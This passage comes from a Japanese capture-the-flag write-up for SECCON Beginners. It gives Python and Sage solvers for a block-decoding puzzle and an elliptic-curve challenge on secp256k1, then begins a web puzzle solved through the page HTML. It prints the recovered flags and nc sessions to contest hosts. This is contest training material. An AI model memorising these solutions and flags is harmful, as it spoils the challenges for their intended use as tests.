9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf940faf1db97dff48482511b710f8dfa038&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">pattern&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;d2dd0b85dca8a6e1b43485b29c3caf94&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;1&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;e9d754817e22ae903894db279d383a70&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;0&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">blocks&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">input&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">32&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">input&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="mi">32&lt;/span>&lt;span class="p">)]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">result&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="n">block&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">blocks&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">label&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">pattern&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">block&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="c1"># 不明なパターン(最後のパディング分)は &amp;#34;&amp;#34; とする&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">result&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">append&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">label&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">flag_bin&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">join&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">result&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">flag&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">long_to_bytes&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">flag_bin&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">))&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decode&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">flag_bin&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 1100011011101000110011000110100011000100111101101101110001100000111011101011111011110010011000001110101001001110111001000110011010111110011010001011111011000100011000101101110001101000111001000110001001100110110111001111101&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># ctf4b{n0w_y0u&amp;#39;r3_4_b1n4r13n}&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>
&lt;/figure>
&lt;h3 id="elliptic4b-171-solve-272-medium">Elliptic4b [171 Solve (272 medium)]&lt;/h3>
&lt;blockquote>
&lt;p>楕円曲線だからってそっ閉じしないで！&lt;br>
nc elliptic4b.challenges.beginners.seccon.jp 9999&lt;/p>
&lt;/blockquote>
&lt;p>楕円曲線 secp256k1 は $y^2=x^3+7$ である．&lt;/p>
&lt;p>この問題では，与えられた $y$ に対する $x$ を求め，$P=(x, y)$ に対して，$aP=(x, -y)$ となる $a\geq0$ を求めればよい．
すなわち，最終的には $P$ の逆元 $-P=(x, -y)$ を求めればよい．これは，位数$n$ に対して $a=n-1$ とすれば求まる．&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-py" data-lang="py">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">os&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">secrets&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">fastecdsa.curve&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">secp256k1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">fastecdsa.point&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">Point&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">flag&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">environ&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;FLAG&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;CTF&lt;/span>&lt;span class="si">{dummy_flag}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">y&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">secrets&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">randbelow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">secp256k1&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">y&lt;/span> &lt;span class="si">= }&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">x&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;x = &amp;#34;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="n">secp256k1&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">is_point_on_curve&lt;/span>&lt;span class="p">((&lt;/span>&lt;span class="n">x&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">y&lt;/span>&lt;span class="p">)):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;// Not on curve!&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">exit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">a&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;a = &amp;#34;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">P&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Point&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">x&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">y&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">secp256k1&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Q&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">a&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">P&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="n">a&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;// a must be non-negative!&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">exit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="n">P&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">x&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="n">Q&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">x&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;// x-coordinates do not match!&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">exit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="n">P&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">y&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">Q&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">y&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;// P and Q are the same point!&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">exit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;flag =&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">flag&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>与えられた $y$ に対する $x$ は 立方根を計算することで求まる．&lt;/p>
&lt;figure class="xCodeBlock">
&lt;figcaption class="xCodeBlock_title">solver.sage&lt;/figcaption>
&lt;div class="xCodeBlock_code">&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-py" data-lang="py">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># secp256k1 prime&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">p&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mh">0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">n&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mh">0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141&lt;/span> &lt;span class="c1"># 位数&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">F&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">GF&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">y&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">F&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">64113021656958798867216908193475868588458116237961285548369416356243964319959&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">z&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">y&lt;/span>&lt;span class="o">^&lt;/span>&lt;span class="mi">2&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="mi">7&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">R&lt;/span>&lt;span class="o">.&amp;lt;&lt;/span>&lt;span class="n">X&lt;/span>&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">PolynomialRing&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">F&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">f&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">X&lt;/span>&lt;span class="o">^&lt;/span>&lt;span class="mi">3&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">z&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">roots&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">roots&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="n">roots&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">x&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">roots&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="c1"># (解，重複度)のタプルのリスト&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Found x:&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">x&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;n-1:&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">n&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;No solution for x.&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Found x: 47519497305917046196065964482720223974721953930099609061719618403847890333750&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># n-1: 115792089237316195423570985008687907852837564279074904382605163141518161494336&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>
&lt;/figure>
&lt;p>よって，以下のように得られる．&lt;/p>
&lt;pre tabindex="0">&lt;code>$ nc elliptic4b.challenges.beginners.seccon.jp 9999
y = 64113021656958798867216908193475868588458116237961285548369416356243964319959
x = 47519497305917046196065964482720223974721953930099609061719618403847890333750
a = 115792089237316195423570985008687907852837564279074904382605163141518161494336
flag = ctf4b{1et&amp;#39;5_b3c0m3_3xp3r7s_1n_3ll1p71c_curv35!}
&lt;/code>&lt;/pre>&lt;h2 id="misc">misc&lt;/h2>
&lt;h3 id="kingyo_sukui-644-solve-100-beginner">kingyo_sukui [644 Solve (100 beginner)]&lt;/h3>
&lt;blockquote>
&lt;p>scooping! &lt;a href="http://kingyo-sukui.challenges.beginners.seccon.jp:33333"target="_blank" rel="noopener noreferrer">http://kingyo-sukui.challenges.beginners.seccon.jp:33333&lt;/a>&lt;/p>
&lt;/blockquote>
&lt;p>金魚すくいで正しい順に文字をすくうとflagになる．&lt;/p>
&lt;p>開発者ツールで見ると，順番が書かれていた．&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-html" data-lang="html">&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">div&lt;/span> &lt;span class="na">class&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;flag-container&amp;#34;&lt;/span> &lt;span class="na">id&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;flag-container&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">div&lt;/span> &lt;span class="na">class&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;flag-char&amp;#34;&lt;/span> &lt;span class="na">data-index&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;16&amp;#34;&lt;/span> &lt;span class="na">style&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;left: 142.004px; top: 234.333px;&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>}&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">div&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">div&lt;/span> &lt;span class="na">class&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;flag-char&amp;#34;&lt;/span> &lt;span class="na">data-index&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;14&amp;#34;&lt;/span> &lt;span class="na">style&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;left: 212.249px; top: 245.584px;&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>r&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">div&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">div&lt;/span> &lt;span class="na">class&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;flag-char&amp;#34;&lt;/span> &lt;span class="na">data-index&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;3&amp;#34;&lt;/span> &lt;span class="na">style&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;left: 471.704px; top: 245.03px;&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>4&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">div&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">div&lt;/span> &lt;span class="na">class&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;flag-char&amp;#34;&lt;/span> &lt;span class="na">data-index&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;1&amp;#34;&lt;/span> &lt;span class="na">style&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;left: 93.9794px; top: 347.381px;&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>t&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">div&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">div&lt;/span> &lt;span class="na">class&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;flag-char&amp;#34;&lt;/span> &lt;span class="na">data-index&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;2&amp;#34;&lt;/span> &lt;span class="na">style&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;left: 211.187px; top: 24.672px;&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>f&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">div&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">div&lt;/span> &lt;span class="na">class&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;flag-char&amp;#34;&lt;/span> &lt;span class="na">data-index&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;7&amp;#34;&lt;/span> &lt;span class="na">style&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;left: 104.975px; top: 277.571px;&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>4&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">div&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">div&lt;/span> &lt;span class="na">class&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;flag-char&amp;#34;&lt;/span> &lt;span class="na">data-index&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;5&amp;#34;&lt;/span> &lt;span class="na">style&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;left: 283.312px; top: 109.482px;&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>{&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">div&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">div&lt;/span> &lt;span class="na">class&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;flag-char&amp;#34;&lt;/span> &lt;span class="na">data-index&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;10&amp;#34;&lt;/span> &lt;span class="na">style&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;left: 216.414px; top: 45.3561px;&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>m&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">div&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">div&lt;/span> &lt;span class="na">class&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;flag-char&amp;#34;&lt;/span> &lt;span class="na">data-index&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;0&amp;#34;&lt;/span> &lt;span class="na">style&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;left: 271.9px; top: 54.5546px;&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>c&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">div&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
